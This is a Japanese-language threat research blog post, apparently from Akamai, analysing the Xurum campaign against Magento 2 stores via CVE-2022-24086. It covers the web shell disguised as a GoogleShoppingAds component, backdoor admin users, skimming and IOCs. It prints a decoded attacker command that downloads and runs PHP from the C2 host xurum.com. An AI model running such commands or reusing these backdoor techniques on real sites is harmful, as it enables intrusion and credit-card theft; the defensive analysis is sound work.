クラウドコンピューティングが必要ですか? 今すぐ始める

Xurum:新しい Magento キャンペーンの発見

2015 年以降、Magento ストアをターゲットにした脅威グループが少なくとも 7 つあります。これは、このプラットフォームが注目されていることと、攻撃者がこの脆弱性を悪用して成功を収めていることを表しています。

調査実施者:Ron Mankivsky、Dennis German、Chen Doytshman、Maxim Zavodchik

共同執筆者:Tricia Howard

エグゼクティブサマリー

  • Akamai の研究者が、デジタルコマースの Web サイトを悪用している現在進行中のサーバーサイド・テンプレート・インジェクション(CVE-2022-24086)キャンペーンを発見しました。このキャンペーンは Magento 2 ストアを標的としており、攻撃者のコマンド&コントロール(C2)サーバーのドメイン名を指す Xurum という名称が付けられました。 

  • このキャンペーンの活動は、遅くとも 2023 年 1 月から観測されています。攻撃者は、過去 10 日間に被害者の Magento ストアで行われた注文の支払統計データに関心があるようです。 

  • 攻撃者は新しい Magento コンポーネントを登録し、「GoogleShoppingAds」としてマスクします。

  • 攻撃者は、「wso-ng」という名前の高度な Web シェルを使用します。このシェルは、攻撃者がバックドアの「GoogleShoppingAds」コンポーネントに Cookie「magemojo000」を送信した場合にのみアクティブになります。 

  • Web シェルのログインページは、被害者の資格情報を収集しようとする隠しログインフォームを含むエラーページになりすまします。

  • 攻撃者は、もう 1 つの偽装トリックとして、「mageplaza」または「mageworx」という名前のバックドア管理ユーザーを Magento に作成します。この名前を使用する理由は、人気のある Magento 拡張ストアの名前だからです。

  • 攻撃者は、Dirty COW という古い脆弱性(CVE-2016-5195)を利用して、Linux 内で権限昇格を試みます。 

  • この脅威の起源はロシアであることを示す証拠があります。 

  • このキャンペーンに関与する一部の Web サイトは、JavaScript ベースのシンプルなスキマーに感染していることが確認されており、その存在を難読化したり隠したりしようとはしていませんでした。

はじめに

デジタルコマースは、一般的にサイバー犯罪者が幅広く標的としている業界 であり、Magento の人気が広がっているため、残念ながら特に魅力的な(利益の出やすい)標的となっています。最も顕著な攻撃は Magecartです。この攻撃は、JavaScript ベースのスキマーを展開して、機微なユーザー情報を不正に取得することを目的としています。 このような Magecart 攻撃者 は、機微な情報を取得するために、よく知られている Web の脆弱性を悪用します。

2015 年以降、Magento ストアをターゲットにした脅威グループが少なくとも 7 つあります。これは、このプラットフォームが注目されていることと、攻撃者がこの脆弱性を悪用して成功を収めていることを表しています。

2022 年初頭に脆弱性 CVE-2022-24086 が明らかになり、攻撃者は Magento テンプレートエンジンを悪用して、影響を受けやすいターゲットで任意の PHP コードを実行できるようになりました。この悪用は、 チェックアウトプロセスまたはウィッシュリスト機能の不正使用などの一般的な攻撃ベクトルを使用して、複数の手順で実行されます。この脆弱性は、発覚以降、脆弱な Magento 2 ストアを標的とする多くの Magecart 攻撃者 にとって、主要なエントリーポイントになりました。

過去数か月にわたって、Akamai は比較的少数の Magento 展開を標的とした集中的なキャンペーンを入念に監視してきました。そして、このキャンペーンに、攻撃者が利用する C2 サーバーのドメイン名を指す Xurum という名称を付けました。

初期アクセスとして CVE-2022-24086 を悪用

この現在進行中のキャンペーンでは、計 4 つの IP アドレスから 2 つの異なるペイロードを実行しようとしている攻撃者が観測されました(図 1)。これらの IP は、2 つのホスティングプロバイダーのインフラに関連付けられています。そのプロバイダーとは、ドイツの Hetzner と米国の Shock Hosting です。

IP アドレス 図 1:Xurum との関連が確認された IP アドレス

1 つ目のバリアントは、PHP 関数「file_get_contents」を実行して、攻撃者の C2 サーバー「 xurum.com 」にリクエストを送信し、サーバーが CVE-2022-24086(図 2)に対して脆弱であるかどうかを確認します。その間に、Base64 ブロブが https://xurum.com/moにデコードされます。

テストスクリプト 図 2:脆弱性 CVE-2022-24086 のテストスクリプト

2 つ目のバリアントは、攻撃者が悪性の PHP コードをダウンロードして実行する第 2 ステージのペイロードです。このコードは同じ「 xurum.com 」サーバーでホストされています。 検知を回避するために、悪性のリモート PHP コードのダウンロードと実行を担当する攻撃セグメントは Base64 エンコーディングを使用して難読化され、PHP 関数「shell_exec」を介して実行されます (図 3)。難読化された部分は、 php -r "`wget -qO- https://xurum.com/b.txt`;"にデコードされます。

Base64 エンコーディングを使用して難読化され、PHP 関数「shell_exec」を使用して実行される PHP コード 図 3:検知回避のために Base64 でエンコードされた Xurum ペイロード

Xurum.com ドロップゾーン

サーバー「xurum.com」の調査では、このサーバーが物理的にオランダにあり(図 4)、VDSina.ru というロシアのホスティング会社によってホストされていることが明らかになりました(図 5)。

xurum.com の物理サーバーはオランダにあります 図 4:xurum.com サーバーの IP 情報
VDSina.ru というロシアのホスティング会社 図 5:xurum.com はホスティング会社 VDSina.ru によってホストされている

調査の時点で、多くの有名脅威スコアリングサイトは、このドメインを悪性とみなしていませんでした(図 6)。その結果、ユーザーからの信頼が高まり、攻撃者はほとんど検知されることなくオペレーションを実行できていました。

ドメイン「xurum.com」は悪性ではないと表示 図 6:VirusTotal の結果では、ドメイン「xurum.com」は悪性ではないと示している

「xurum」の意味

この攻撃には、いくつかのバリエーションがあるため、他のキャンペーンと区別するためにこの攻撃を「xurum」と呼ぶことにしました。

多くの場合、攻撃者はドメインまたはマルウェアに対して固有の命名規則を採用します。これが、(意図して、または意図せずして)その攻撃者固有の署名として機能することになります。「xurum」の意味を調査したところ、2 つの解釈が可能であることがわかりました。

Google 翻訳によると、xurum の定義はラテン語の「right」であり、「正しいことをする」を意味しています(図 7)。また、WordSense Dictionary によると、かつてグアテマラで話されていた絶滅した言語で xurum は「boy」を表す単語です(図 8)。

Google 翻訳によると、xurum の定義はラテン語の「right」であり、「正しいことをする」を意味している 図 7:Google 翻訳では、「xurum」がラテン語として検知される
「xurum」の翻訳 図 8:WordSense によると、「xurum」はシナカンタン語の「boy」に相当する

このブログ記事の執筆時点で、攻撃者は xurum サーバーを停止し、品質保証フェーズにあると思われる別のサーバーに移行しています。

注文情報を流出させ、Magento にバックドアを設置

xurum サーバーからダウンロードされ、被害者のマシンで実行されている悪性の PHP スクリプトには、いくつかの感染段階があります。

まず、被害者に関する以下のような技術情報を収集します。

  • PHP バージョン

  • 攻撃が「/pub」ディレクトリ(Magento の共通ディレクトリ構造)に到達したかどうか

  • /var/www/html/vendor/magento/google-shopping-ads/registration.php」ファイルが存在し、書き込み可能かどうか  

  • env.php」ファイルの内容。このファイルには、Magento アプリケーションの重要な情報(環境固有の設定など)に加え、パスワード、クレジットカード詳細、顧客情報などの機微な情報を保護するために使用される暗号化キーなどの秘密も含まれます

次に、難読化された Base64 ブロブをデコードし、「/var/www/html/vendor/magento/google-shopping-ads/registration.php」ファイルに書き込みます(図 9)。

Base64 で難読化されたブロブをデコードし、「/var/www/html/vendor/magento/google-shopping-ads/registration.php」ファイルに書き込む 図 9:Web シェルへのリンクを含む難読化されたブロブが「registration.php」に書き込まれる

新しいファイルには興味をそそるコンテンツが含まれています。Web シェルの独自のコピーを保持して C2 サーバー上でホスティングするのではなく、新しいファイル内のコードは、セキュリティ研究者が所有する「Bad Advertiser」または「@0xbadad」というパブリック GitHub リポジトリを指しています。このリポジトリ内には、「wso-ng」という既知の Web シェルがあります。しかし、特に興味深いのは、Web シェルがサーバーのディスクに書き込まれるのではなく、新しく作成されたページ「registration.php」にアクセスした場合に、メモリー内でのみフェッチおよび実行される点です。 不正アクセスからさらに保護するために、攻撃者はこの Web シェルの実行を要求する際に特定の Cookie「magemojo000」の存在を必要とします

次に、攻撃者は新しい Web シェル機能を新しい Magento コンポーネントとして登録し、「GoogleShoppingAds」としてマスクします(図 10)。

攻撃者は新しい Web シェル機能を新しい Magento コンポーネントとして登録する 図 10:Web シェル「wso-ng」が GoogleShoppingAds コンポーネントになりすます

バックドアを設置した後、攻撃者は過去 10 日間の販売注文の支払方法に関する情報を取得し、以前に収集した技術情報とともに、このデータを xurum.com ドロップゾーンに流出させます(図 11)。

 時間の経過とともに情報を収集する 図 11:過去 10 日間に行われた注文に関する情報を収集

最後のステップで、攻撃者は「mageworx」(または一部のバリエーションでは「mageplaza」)という名前のバックドア管理ユーザーを作成します。これらの名前は、人気のある Magento 2 拡張ストアである Mageworx と Mageplaza から取ったものです(図 12)。この名前を選択したのは、自分たちの攻撃を信頼できる拡張プロバイダーによる正当な行動としてカモフラージュするためだと考えられます。

バックドア・ユーザー・メールアドレスには、面白い差異があります。メールアドレス developer@mageplazza.comの「mageplazza」には「z」が 2 つあるのに対し、正規のストアドメイン名である mageplaza.com には「z」が 1 つです。これは攻撃者による誤植のようです。別のバックドア・ユーザー・メールアドレスにも同様の誤植があります。たとえば、 support@magaworx.comでは、元のストア名 Mageworx の「e」の位置に「a」が使用されています。

 名前は、人気のある Magento 2 拡張ストアの Mageworx と Mageplaza から取っている 図 12:攻撃者がバックドア管理ユーザー mageworx/mageplaza を作成

新しい Web シェルの生成:wso-ng

Web シェルとは、悪性のスクリプトまたはコードの一部です。攻撃者は、Web シェルを Web サーバー上にアップロード/実行することで、そのサーバーとサーバー内のファイル/データへの不正アクセス/制御を永続的に行えるようになります。

このオペレーションでは、攻撃者は wso-ng という非常に高度な Web シェルを利用しています。この Web シェルは、前述のとおり、数年前にセキュリティ研究者が作成したものです。作成者が述べているとおり、wso-ng は古い有名な WSO(Web Shell by Orb)の新型です。

Web シェルの一般的な機能(システム情報の収集、ファイル管理、SQL 管理など)の他にも、wso-ng には優れた機能があります(図 13)。

Web シェル「wso-ng」 図 13:Web シェル「wso-ng」の概要

新機能

そのような新機能の 1 つに、隠しログインページがあります。隠しログインページにアクセスすると、404 Not Found HTTP ステータスコードが返され、そのページが存在しないかのような印象を与えます。表示されているコンテンツは、一見すると空白のように見えます(図 14)。しかし、ページのソースコードを検査すると、隠しログインフォームがあることがわかります。

このフォームは、単純な CSS のトリックを使用して閲覧者から巧妙に隠されています。1,000 ピクセル左にシフトされ、表示領域外に効果的に配置されているのです。この隠しログインフォームは、ユーザーがパスワードを入力するまで待機するように設計されています。

 wso-ng ログインページ 図 14:wso-ng ログインページは空白として表示されるが、隠し機能がある

さらに、wso-ng は VirusTotal と統合されており、感染したマシンの IP レピュテーションを自動でチェックできます。また、SecurityTrails(評判の良い脅威インテリジェンス企業 Recorded Future が提供するサービス)と IPinfo にシームレスに照会し、同一サーバー上でホストされている他のドメインに関する情報を取得します。

この Web シェルには攻撃的な機能もあり、ホスティング企業の PHP サンドボックスを回避しようとします。fastCGI や php アドフィルターの悪用など、さまざまな手法を使用して、無効になっている PHP 関数をバイパスします。さらに、Web シェルがホストされている特定の Linux バージョンと相性の良いローカル権限昇格攻撃の自動提案機能も備えています。

この Web シェルに関する詳細な分析については、今後のブログ記事で提供する予定です。

古い Dirty COW による権限昇格

xurum.com サーバー上の攻撃者の武器として、もう 1 つ興味深いツールがあることがわかりました。それは、Linux のローカル権限昇格に利用される、Dirty COW という名前の古い周知の脆弱性 CVE-2016-5195 です(図 15)。

 Linux 権限昇格のための Dirty COW の悪用 図 15:Linux 権限昇格のための Dirty COW の悪用のスクリーンショット

Web スキマー感染

Akamai の Web アプリケーションファイアウォール (WAF)を利用しているお客様の多くがこのキャンペーンを効果的に緩和したため、Akamai は攻撃者が実行したさらなるアクションを直接観測することはありませんでした。しかし、調査において、このキャンペーンに間接的に関連している Web サイト名が、エクスプロイトリクエストの Origin/Referer HTTP ヘッダーに表示されていることに気付きました。

これらの Web サイトの少なくとも 1 つが、単純な Web スキマーに感染していました。スキマーはメインページにインストールされており、難読化技術は適用されていませんでした。これにより、クレジットカード情報が収集され、「smileface.site」でホストされているドロップゾーンに抽出されました(図 16)。

インストールされた Web スキマーのスクリーンショット 図 16:調査した Web サイトの 1 つに Web スキマーがインストールされている

アクセスが試みられると、この Web サイトは「Get out!」という冷たいメッセージで応答します(図 17)。

Web サイトは「Get out!」という冷たいメッセージで応答 図 17:アクセス試行時の smileface.site からの応答

IP 情報は、サーバーがモスクワにあり、ロシアの「reg.ru」ホスティングによってホストされていることを示しています(図 18)。

IP 情報は、サーバーがモスクワにあり、ロシアの「reg.ru」ホスティングによってホストされていることを示している 図 18:smileface.site は「reg.ru」ホスティングによってホストされている

まとめ

調査により、このキャンペーンは遅くとも 2023 年 1 月末には始まっていたことが判明しました。攻撃者は、インターネット上で無差別に攻撃を浴びせるのではなく、特定の Magento 2 インスタンスをターゲットにした周到なアプローチをとっています。Magento に関する高度な専門知識を駆使して、その内部の把握、攻撃インフラのセットアップ、実際のターゲットに対する攻撃のテストにかなりの時間を費やしています。

このキャンペーンは、企業がパッチの適用やセキュリティ対策に苦労しているなか、何年も前に発覚した古い脆弱性がどのように悪用され続けるかを示す実例として参考になります

セキュリティの推奨事項

サーバーへの初期アクセスを防止するため、セキュリティ担当者には、最新のパッチを常にアップデートし、 Akamai App & API Protectorなどの WAF を実装することを推奨します。

このような Magecart 攻撃者 の主な目的は Magento ページを Web スキマーに感染させ、顧客のクレジットカード情報を盗むことであるため、専用のセキュリティソリューションを追加することを強くお勧めします。必要なのは、ブラウザースクリプトのふるまいを可視化し、クライアント側の攻撃に対する防御を備えたソリューションです。

クライアントに対する実際の攻撃の発生場所の近くにセキュリティ対策を導入するのが効果的です。また、機微な情報の入力フィールドからの読み取りやデータ窃盗の試みを特定する機能も必要です。Akamai では、 Akamai Page Integrity Managerなどのセキュリティ製品を使用して、このようなイベントに関する情報を迅速に収集し、高速かつ効率的に緩和することを推奨しています。

今後の情報提供

お客様に対する最近の Magento 攻撃 CVE-2022-24086 に関する分析において、他のキャンペーンも発見し、現在調査を行っています。この調査をこれからも継続し、調査結果をセキュリティコミュニティと共有いたします。最新のセキュリティリサーチについては、 Twitter で Akamai をフォローしてください。

IOC

以下の脅威の痕跡情報(indicators of compromise、IOC)は、この記事で取り上げた悪性のアクティビティを検知するうえで役立ちます。

タイプ

104.36.229.168

攻撃 IP

95.216.95.178

攻撃 IP

95.216.94.99

攻撃 IP

65.21.85.21

攻撃 IP

xurum.com

マルウェア・ホスティング・ドメイン

/var/www/html/vendor/magento/google-shopping-ads/registration.php

ファイル名

mageworx

Magento ユーザー

mageplaza

Magento ユーザー

developer@mageplazza.com

メールアドレス

support@magaworx.com

メールアドレス